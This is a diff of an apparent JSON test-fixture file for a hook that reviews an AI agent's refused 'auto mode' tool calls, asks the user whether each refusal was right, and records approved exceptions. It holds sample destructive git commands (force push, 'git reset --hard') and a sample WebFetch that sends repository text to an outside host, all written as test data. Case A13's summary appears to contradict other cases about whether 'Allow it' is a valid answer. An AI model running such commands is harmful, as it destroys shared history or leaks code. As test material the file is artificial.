|
|
2923
|
+
"tool_name": "Bash",
|
|
2924
|
+
"tool_input": {
|
|
2925
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2926
|
+
"description": "Run a step"
|
|
2927
|
+
},
|
|
2928
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2929
|
+
},
|
|
2930
|
+
"name": "a"
|
|
2931
|
+
},
|
|
2932
|
+
{
|
|
2933
|
+
"refusal": {
|
|
2934
|
+
"tool_name": "WebFetch",
|
|
2935
|
+
"tool_input": {
|
|
2936
|
+
"url": "https://upload.example.com/collect?source=repo",
|
|
2937
|
+
"prompt": "Summarize the page"
|
|
2938
|
+
},
|
|
2939
|
+
"reason": "[Data Exfiltration] sends repository text to an outside host"
|
|
2940
|
+
},
|
|
2941
|
+
"name": "b"
|
|
2942
|
+
},
|
|
2943
|
+
{
|
|
2944
|
+
"stop": {},
|
|
2945
|
+
"expect": {
|
|
2946
|
+
"held": true
|
|
2947
|
+
}
|
|
2948
|
+
},
|
|
2949
|
+
{
|
|
2950
|
+
"transcript": "ask",
|
|
2951
|
+
"questions": [
|
|
2952
|
+
{
|
|
2953
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
2954
|
+
"answer": "Allow it"
|
|
2955
|
+
},
|
|
2956
|
+
{
|
|
2957
|
+
"question": "Auto mode refused 1 WebFetch step under the Data Exfiltration rule. Should auto mode have refused it?",
|
|
2958
|
+
"answer": "Allow it"
|
|
2959
|
+
}
|
|
2960
|
+
]
|
|
2961
|
+
},
|
|
2962
|
+
{
|
|
2963
|
+
"stop": {},
|
|
2964
|
+
"expect": {
|
|
2965
|
+
"held": true,
|
|
2966
|
+
"answers": {
|
|
2967
|
+
"a": "allowed",
|
|
2968
|
+
"b": "allowed"
|
|
2969
|
+
}
|
|
2970
|
+
}
|
|
2971
|
+
},
|
|
2972
|
+
{
|
|
2973
|
+
"transcript": "bash",
|
|
2974
|
+
"command": "python3 setup/add_auto_mode_rule.py add --label \"Own branch force push\" --rule-file /tmp/rule.txt --ledger @@ledger:a@@"
|
|
2975
|
+
},
|
|
2976
|
+
{
|
|
2977
|
+
"stop": {},
|
|
2978
|
+
"expect": {
|
|
2979
|
+
"held": true,
|
|
2980
|
+
"reason_contains": [
|
|
2981
|
+
"@@ledger:b@@"
|
|
2982
|
+
],
|
|
2983
|
+
"reason_excludes": [
|
|
2984
|
+
"@@ledger:a@@"
|
|
2985
|
+
]
|
|
2986
|
+
}
|
|
2987
|
+
}
|
|
2988
|
+
]
|
|
2989
|
+
},
|
|
2990
|
+
{
|
|
2991
|
+
"id": "N3a",
|
|
2992
|
+
"kind": "should act",
|
|
2993
|
+
"source": "plan check 5 findings",
|
|
2994
|
+
"summary": "N3: Allow it answered, no Stop yet, then the flow's own push of its claude/auto-mode-rule- branch in agent-channels is refused: the entry is already allowed and no entry is added.",
|
|
2995
|
+
"events": [
|
|
2996
|
+
{
|
|
2997
|
+
"refusal": {
|
|
2998
|
+
"tool_name": "Bash",
|
|
2999
|
+
"tool_input": {
|
|
3000
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
3001
|
+
"description": "Run a step"
|
|
3002
|
+
},
|
|
3003
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3004
|
+
},
|
|
3005
|
+
"name": "a"
|
|
3006
|
+
},
|
|
3007
|
+
{
|
|
3008
|
+
"stop": {},
|
|
3009
|
+
"expect": {
|
|
3010
|
+
"held": true
|
|
3011
|
+
}
|
|
3012
|
+
},
|
|
3013
|
+
{
|
|
3014
|
+
"transcript": "ask",
|
|
3015
|
+
"questions": [
|
|
3016
|
+
{
|
|
3017
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
3018
|
+
"answer": "Allow it"
|
|
3019
|
+
}
|
|
3020
|
+
]
|
|
3021
|
+
},
|
|
3022
|
+
{
|
|
3023
|
+
"refusal": {
|
|
3024
|
+
"tool_name": "Bash",
|
|
3025
|
+
"tool_input": {
|
|
3026
|
+
"command": "git push -u origin claude/auto-mode-rule-own-branch-force-push",
|
|
3027
|
+
"description": "Run a step"
|
|
3028
|
+
},
|
|
3029
|
+
"reason": "[Destructive or Unwanted Actions] pushes a branch",
|
|
3030
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
3031
|
+
},
|
|
3032
|
+
"expect": {
|
|
3033
|
+
"creates_entry": false,
|
|
3034
|
+
"entry_count": 1,
|
|
3035
|
+
"answers": {
|
|
3036
|
+
"a": "allowed"
|
|
3037
|
+
}
|
|
3038
|
+
}
|
|
3039
|
+
}
|
|
3040
|
+
]
|
|
3041
|
+
},
|
|
3042
|
+
{
|
|
3043
|
+
"id": "N3b",
|
|
3044
|
+
"kind": "should act",
|
|
3045
|
+
"source": "plan check 5 findings",
|
|
3046
|
+
"summary": "N3: Allow it answered, no Stop yet, then the flow's own push run with git -C agent-channels from another folder is refused: git -C is outside the accepted shapes, so it adds an entry.",
|
|
3047
|
+
"events": [
|
|
3048
|
+
{
|
|
3049
|
+
"refusal": {
|
|
3050
|
+
"tool_name": "Bash",
|
|
3051
|
+
"tool_input": {
|
|
3052
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
3053
|
+
"description": "Run a step"
|
|
3054
|
+
},
|
|
3055
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3056
|
+
},
|
|
3057
|
+
"name": "a"
|
|
3058
|
+
},
|
|
3059
|
+
{
|
|
3060
|
+
"stop": {},
|
|
3061
|
+
"expect": {
|
|
3062
|
+
"held": true
|
|
3063
|
+
}
|
|
3064
|
+
},
|
|
3065
|
+
{
|
|
3066
|
+
"transcript": "ask",
|
|
3067
|
+
"questions": [
|
|
3068
|
+
{
|
|
3069
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
3070
|
+
"answer": "Allow it"
|
|
3071
|
+
}
|
|
3072
|
+
]
|
|
3073
|
+
},
|
|
3074
|
+
{
|
|
3075
|
+
"refusal": {
|
|
3076
|
+
"tool_name": "Bash",
|
|
3077
|
+
"tool_input": {
|
|
3078
|
+
"command": "git -C @@scratch@@/agent-channels push -u origin claude/auto-mode-rule-own-branch-force-push",
|
|
3079
|
+
"description": "Run a step"
|
|
3080
|
+
},
|
|
3081
|
+
"reason": "[Destructive or Unwanted Actions] pushes a branch"
|
|
3082
|
+
},
|
|
3083
|
+
"expect": {
|
|
3084
|
+
"creates_entry": true,
|
|
3085
|
+
"entry_count": 2,
|
|
3086
|
+
"answers": {
|
|
3087
|
+
"a": "allowed"
|
|
3088
|
+
}
|
|
3089
|
+
}
|
|
3090
|
+
}
|
|
3091
|
+
]
|
|
3092
|
+
},
|
|
3093
|
+
{
|
|
3094
|
+
"id": "N7a",
|
|
3095
|
+
"kind": "should act",
|
|
3096
|
+
"source": "plan check 5 findings",
|
|
3097
|
+
"summary": "N7: A4 with no timestamps in the transcript: same result.",
|
|
3098
|
+
"events": [
|
|
3099
|
+
{
|
|
3100
|
+
"refusal": {
|
|
3101
|
+
"tool_name": "Bash",
|
|
3102
|
+
"tool_input": {
|
|
3103
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
3104
|
+
"description": "Run a step"
|
|
3105
|
+
},
|
|
3106
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3107
|
+
},
|
|
3108
|
+
"name": "a"
|
|
3109
|
+
},
|
|
3110
|
+
{
|
|
3111
|
+
"refusal": {
|
|
3112
|
+
"tool_name": "Bash",
|
|
3113
|
+
"tool_input": {
|
|
3114
|
+
"command": "git reset --hard origin/main",
|
|
3115
|
+
"description": "Run a step"
|
|
3116
|
+
},
|
|
3117
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3118
|
+
},
|
|
3119
|
+
"name": "b"
|
|
3120
|
+
},
|
|
3121
|
+
{
|
|
3122
|
+
"stop": {},
|
|
3123
|
+
"expect": {
|
|
3124
|
+
"held": true
|
|
3125
|
+
}
|
|
3126
|
+
},
|
|
3127
|
+
{
|
|
3128
|
+
"transcript": "ask",
|
|
3129
|
+
"questions": [
|
|
3130
|
+
{
|
|
3131
|
+
"question": "Auto mode refused 2 Bash steps under the Git Destructive rule. Should auto mode have refused them?",
|
|
3132
|
+
"answer": "Allow it"
|
|
3133
|
+
}
|
|
3134
|
+
],
|
|
3135
|
+
"timestamp": null
|
|
3136
|
+
},
|
|
3137
|
+
{
|
|
3138
|
+
"refusal": {
|
|
3139
|
+
"tool_name": "Bash",
|
|
3140
|
+
"tool_input": {
|
|
3141
|
+
"command": "git push --force-with-lease origin claude/late",
|
|
3142
|
+
"description": "Run a step"
|
|
3143
|
+
},
|
|
3144
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3145
|
+
},
|
|
3146
|
+
"name": "c"
|
|
3147
|
+
},
|
|
3148
|
+
{
|
|
3149
|
+
"stop": {},
|
|
3150
|
+
"expect": {
|
|
3151
|
+
"held": true,
|
|
3152
|
+
"reason_contains": [
|
|
3153
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
3154
|
+
],
|
|
3155
|
+
"answers": {
|
|
3156
|
+
"a": "allowed",
|
|
3157
|
+
"b": "allowed",
|
|
3158
|
+
"c": null
|
|
3159
|
+
}
|
|
3160
|
+
}
|
|
3161
|
+
}
|
|
3162
|
+
]
|
|
3163
|
+
},
|
|
3164
|
+
{
|
|
3165
|
+
"id": "N7b",
|
|
3166
|
+
"kind": "should act",
|
|
3167
|
+
"source": "plan check 5 findings",
|
|
3168
|
+
"summary": "N7: A4 with the answer stamped far in the past: same result.",
|
|
3169
|
+
"events": [
|
|
3170
|
+
{
|
|
3171
|
+
"refusal": {
|
|
3172
|
+
"tool_name": "Bash",
|
|
3173
|
+
"tool_input": {
|
|
3174
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
3175
|
+
"description": "Run a step"
|
|
3176
|
+
},
|
|
3177
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3178
|
+
},
|
|
3179
|
+
"name": "a"
|
|
3180
|
+
},
|
|
3181
|
+
{
|
|
3182
|
+
"refusal": {
|
|
3183
|
+
"tool_name": "Bash",
|
|
3184
|
+
"tool_input": {
|
|
3185
|
+
"command": "git reset --hard origin/main",
|
|
3186
|
+
"description": "Run a step"
|
|
3187
|
+
},
|
|
3188
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3189
|
+
},
|
|
3190
|
+
"name": "b"
|
|
3191
|
+
},
|
|
3192
|
+
{
|
|
3193
|
+
"stop": {},
|
|
3194
|
+
"expect": {
|
|
3195
|
+
"held": true
|
|
3196
|
+
}
|
|
3197
|
+
},
|
|
3198
|
+
{
|
|
3199
|
+
"transcript": "ask",
|
|
3200
|
+
"questions": [
|
|
3201
|
+
{
|
|
3202
|
+
"question": "Auto mode refused 2 Bash steps under the Git Destructive rule. Should auto mode have refused them?",
|
|
3203
|
+
"answer": "Allow it"
|
|
3204
|
+
}
|
|
3205
|
+
],
|
|
3206
|
+
"timestamp": "2000-01-01T00:00:00.000Z"
|
|
3207
|
+
},
|
|
3208
|
+
{
|
|
3209
|
+
"refusal": {
|
|
3210
|
+
"tool_name": "Bash",
|
|
3211
|
+
"tool_input": {
|
|
3212
|
+
"command": "git push --force-with-lease origin claude/late",
|
|
3213
|
+
"description": "Run a step"
|
|
3214
|
+
},
|
|
3215
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3216
|
+
},
|
|
3217
|
+
"name": "c"
|
|
3218
|
+
},
|
|
3219
|
+
{
|
|
3220
|
+
"stop": {},
|
|
3221
|
+
"expect": {
|
|
3222
|
+
"held": true,
|
|
3223
|
+
"reason_contains": [
|
|
3224
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
3225
|
+
],
|
|
3226
|
+
"answers": {
|
|
3227
|
+
"a": "allowed",
|
|
3228
|
+
"b": "allowed",
|
|
3229
|
+
"c": null
|
|
3230
|
+
}
|
|
3231
|
+
}
|
|
3232
|
+
}
|
|
3233
|
+
]
|
|
3234
|
+
},
|
|
3235
|
+
{
|
|
3236
|
+
"id": "N7c",
|
|
3237
|
+
"kind": "should act",
|
|
3238
|
+
"source": "plan check 5 findings",
|
|
3239
|
+
"summary": "N7: A4 with the answer stamped far in the future: the late refusal still stays pending.",
|
|
3240
|
+
"events": [
|
|
3241
|
+
{
|
|
3242
|
+
"refusal": {
|
|
3243
|
+
"tool_name": "Bash",
|
|
3244
|
+
"tool_input": {
|
|
3245
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
3246
|
+
"description": "Run a step"
|
|
3247
|
+
},
|
|
3248
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3249
|
+
},
|
|
3250
|
+
"name": "a"
|
|
3251
|
+
},
|
|
3252
|
+
{
|
|
3253
|
+
"refusal": {
|
|
3254
|
+
"tool_name": "Bash",
|
|
3255
|
+
"tool_input": {
|
|
3256
|
+
"command": "git reset --hard origin/main",
|
|
3257
|
+
"description": "Run a step"
|
|
3258
|
+
},
|
|
3259
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3260
|
+
},
|
|
3261
|
+
"name": "b"
|
|
3262
|
+
},
|
|
3263
|
+
{
|
|
3264
|
+
"stop": {},
|
|
3265
|
+
"expect": {
|
|
3266
|
+
"held": true
|
|
3267
|
+
}
|
|
3268
|
+
},
|
|
3269
|
+
{
|
|
3270
|
+
"transcript": "ask",
|
|
3271
|
+
"questions": [
|
|
3272
|
+
{
|
|
3273
|
+
"question": "Auto mode refused 2 Bash steps under the Git Destructive rule. Should auto mode have refused them?",
|
|
3274
|
+
"answer": "Allow it"
|
|
3275
|
+
}
|
|
3276
|
+
],
|
|
3277
|
+
"timestamp": "2099-01-01T00:00:00.000Z"
|
|
3278
|
+
},
|
|
3279
|
+
{
|
|
3280
|
+
"refusal": {
|
|
3281
|
+
"tool_name": "Bash",
|
|
3282
|
+
"tool_input": {
|
|
3283
|
+
"command": "git push --force-with-lease origin claude/late",
|
|
3284
|
+
"description": "Run a step"
|
|
3285
|
+
},
|
|
3286
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3287
|
+
},
|
|
3288
|
+
"name": "c"
|
|
3289
|
+
},
|
|
3290
|
+
{
|
|
3291
|
+
"stop": {},
|
|
3292
|
+
"expect": {
|
|
3293
|
+
"held": true,
|
|
3294
|
+
"reason_contains": [
|
|
3295
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
3296
|
+
],
|
|
3297
|
+
"answers": {
|
|
3298
|
+
"a": "allowed",
|
|
3299
|
+
"b": "allowed",
|
|
3300
|
+
"c": null
|
|
3301
|
+
}
|
|
3302
|
+
}
|
|
3303
|
+
}
|
|
3304
|
+
]
|
|
3305
|
+
},
|
|
3306
|
+
{
|
|
3307
|
+
"id": "N7d",
|
|
3308
|
+
"kind": "should act",
|
|
3309
|
+
"source": "plan check 5 findings",
|
|
3310
|
+
"summary": "N7: Q6 with no timestamps: still held.",
|
|
3311
|
+
"events": [
|
|
3312
|
+
{
|
|
3313
|
+
"transcript": "ask",
|
|
3314
|
+
"questions": [
|
|
3315
|
+
{
|
|
3316
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
3317
|
+
"answer": "Keep refusing"
|
|
3318
|
+
}
|
|
3319
|
+
],
|
|
3320
|
+
"timestamp": null
|
|
3321
|
+
},
|
|
3322
|
+
{
|
|
3323
|
+
"refusal": {
|
|
3324
|
+
"tool_name": "Bash",
|
|
3325
|
+
"tool_input": {
|
|
3326
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
3327
|
+
"description": "Run a step"
|
|
3328
|
+
},
|
|
3329
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3330
|
+
},
|
|
3331
|
+
"name": "a"
|
|
3332
|
+
},
|
|
3333
|
+
{
|
|
3334
|
+
"stop": {},
|
|
3335
|
+
"expect": {
|
|
3336
|
+
"held": true,
|
|
3337
|
+
"reason_contains": [
|
|
3338
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
3339
|
+
],
|
|
3340
|
+
"answers": {
|
|
3341
|
+
"a": null
|
|
3342
|
+
}
|
|
3343
|
+
}
|
|
3344
|
+
}
|
|
3345
|
+
]
|
|
3346
|
+
},
|
|
3347
|
+
{
|
|
3348
|
+
"id": "N7e",
|
|
3349
|
+
"kind": "should act",
|
|
3350
|
+
"source": "plan check 5 findings",
|
|
3351
|
+
"summary": "N7: Q6 with the earlier answer stamped far in the future: still held.",
|
|
3352
|
+
"events": [
|
|
3353
|
+
{
|
|
3354
|
+
"transcript": "ask",
|
|
3355
|
+
"questions": [
|
|
3356
|
+
{
|
|
3357
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
3358
|
+
"answer": "Keep refusing"
|
|
3359
|
+
}
|
|
3360
|
+
],
|
|
3361
|
+
"timestamp": "2099-01-01T00:00:00.000Z"
|
|
3362
|
+
},
|
|
3363
|
+
{
|
|
3364
|
+
"refusal": {
|
|
3365
|
+
"tool_name": "Bash",
|
|
3366
|
+
"tool_input": {
|
|
3367
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
3368
|
+
"description": "Run a step"
|
|
3369
|
+
},
|
|
3370
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3371
|
+
},
|
|
3372
|
+
"name": "a"
|
|
3373
|
+
},
|
|
3374
|
+
{
|
|
3375
|
+
"stop": {},
|
|
3376
|
+
"expect": {
|
|
3377
|
+
"held": true,
|
|
3378
|
+
"reason_contains": [
|
|
3379
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
3380
|
+
],
|
|
3381
|
+
"answers": {
|
|
3382
|
+
"a": null
|
|
3383
|
+
}
|
|
3384
|
+
}
|
|
3385
|
+
}
|
|
3386
|
+
]
|
|
3387
|
+
},
|
|
3388
|
+
{
|
|
3389
|
+
"id": "A12",
|
|
3390
|
+
"kind": "should stay quiet",
|
|
3391
|
+
"source": "added from the plan check 5 Notes",
|
|
3392
|
+
"summary": "Answer 'Allow it (recommended)' is not an exact option label: entry stays pending, turn ends.",
|
|
3393
|
+
"events": [
|
|
3394
|
+
{
|
|
3395
|
+
"refusal": {
|
|
3396
|
+
"tool_name": "Bash",
|
|
3397
|
+
"tool_input": {
|
|
3398
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
3399
|
+
"description": "Run a step"
|
|
3400
|
+
},
|
|
3401
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3402
|
+
},
|
|
3403
|
+
"name": "a"
|
|
3404
|
+
},
|
|
3405
|
+
{
|
|
3406
|
+
"stop": {},
|
|
3407
|
+
"expect": {
|
|
3408
|
+
"held": true
|
|
3409
|
+
}
|
|
3410
|
+
},
|
|
3411
|
+
{
|
|
3412
|
+
"transcript": "ask",
|
|
3413
|
+
"questions": [
|
|
3414
|
+
{
|
|
3415
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
3416
|
+
"answer": "Allow it (recommended)"
|
|
3417
|
+
}
|
|
3418
|
+
]
|
|
3419
|
+
},
|
|
3420
|
+
{
|
|
3421
|
+
"stop": {},
|
|
3422
|
+
"expect": {
|
|
3423
|
+
"held": false,
|
|
3424
|
+
"answers": {
|
|
3425
|
+
"a": null
|
|
3426
|
+
}
|
|
3427
|
+
}
|
|
3428
|
+
}
|
|
3429
|
+
]
|
|
3430
|
+
},
|
|
3431
|
+
{
|
|
3432
|
+
"id": "A13",
|
|
3433
|
+
"kind": "should stay quiet",
|
|
3434
|
+
"source": "added from the plan check 5 Notes",
|
|
3435
|
+
"summary": "Answer 'Allow it' is not an exact option label: entry stays pending, turn ends.",
|
|
3436
|
+
"events": [
|
|
3437
|
+
{
|
|
3438
|
+
"refusal": {
|
|
3439
|
+
"tool_name": "Bash",
|
|
3440
|
+
"tool_input": {
|
|
3441
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
3442
|
+
"description": "Run a step"
|
|
3443
|
+
},
|
|
3444
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
3445
|
+
},
|
|
3446
|
+
"name": "a"
|
|
3447
|
+
},
|
|
3448
|
+
{
|
|
3449
|
+
"stop": {},
|
|
3450
|
+
"expect": {
|
|
3451
|
+
"held": true
|
|
3452
|
+
}
|
|
3453
|
+
},
|
|
3454
|
+
{
|
|
3455
|
+
"transcript": "ask",
|
|
3456
|
+
"questions": [
|
|
3457
|
+
{
|
|
3458
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
3459
|
+
"answer": "Allow it"
|
|
3460
|
+
}
|
|
3461
|
+
]
|
|
3462
|
+
},
|
|
3463
|
+
{
|
|
3464
|
+
"stop": {},
|
|
3465
|
+
"expect": {
|
|
3466
|
+
"held": false,
|
|
3467
|
+
"answers": {
|
|
3468
|
+
"a": null
|
|
3469
|
+
}
|
|
3470
|
+
}
|
|
3471
|
+
}
|
|
3472
|
+
]
|
|
3473
|
+
}
|
|
3474
|
+
]
|
|
3475
|
+
}
|